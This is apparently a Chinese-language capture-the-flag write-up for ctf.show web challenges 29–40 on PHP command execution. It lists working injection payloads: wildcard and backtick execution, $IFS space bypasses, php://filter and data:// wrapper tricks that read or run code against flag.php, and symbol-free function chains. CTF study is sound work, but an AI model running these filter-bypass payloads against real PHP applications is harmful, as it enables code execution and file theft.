ctf.show-web方向-命令执行wp

web29

eval我们用system直接执行,flag大小写被过滤了。其实这题可以用反斜杠绕过,但是为了增长知识点,还是用新方法。那就通配符吧。payload:

?c=system('cat f*');

 打开源代码可以看到flag。

web30

system被ban了,用``这个符号可以代替命令执行,所以payload:

?c=echo `cat f*`;

 然后查看源码找到flag。

web31

这题空格被ban了,空格绕过的方法有:

  • $IFS$9
  • $IFS
  • %20
  • %09(代表\t,即tab,就是四个空格)
  • <和<>
  • ${IFS}

我们随便拿一个用就行,cat也被ban了,那就tac,payload:

?c=echo%09`tac%09f*`;

web32

本题echo也被ban了,所以只能用文件包含命令了:

在include文件包含中,使用php伪协议进行文件的读取,payload:

?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php

 然后拿去base64解密就行了。

web33

多ban了个双引号,其他和刚刚一样,payload不变:

?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php

  然后拿去base64解密就行了。

web34

也和上题一样,payload:

?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php

 然后拿去base64解密就行了。

web35

也和上题一样,payload:

?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php

 然后拿去base64解密就行了。

web36

也和上题一样,payload:

?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php

 然后拿去base64解密就行了。

web37

本题过滤了flag:

所以不能使用php协议进行读取了,我们用data协议进行读取,payload:

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGYqIikKPz4=

 (其中这段base64编码是:
<?php 
system("tac f*")
?>)

web38

也和上题一样,payload:

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGYqIikKPz4=

然后就得到了flag。

web39

跟上题类似,但是后面加了后缀:

我们可以在payload最后加上注释,把后面的.php给注释掉,payload:

?c=data://text/plain,<?=system(%27tac%20fla*.php%27);?>#

然后就得到了flag。

web40

这题过滤了很多符号,可以用字母和小括号。它过滤的是中文的小括号:

但是函数调用不会用,这里看了wp发现了三个方法:

?c=eval(next(reset(get_defined_vars())));&1=system("tac%20flag.php"); 

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

然后就得到了flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值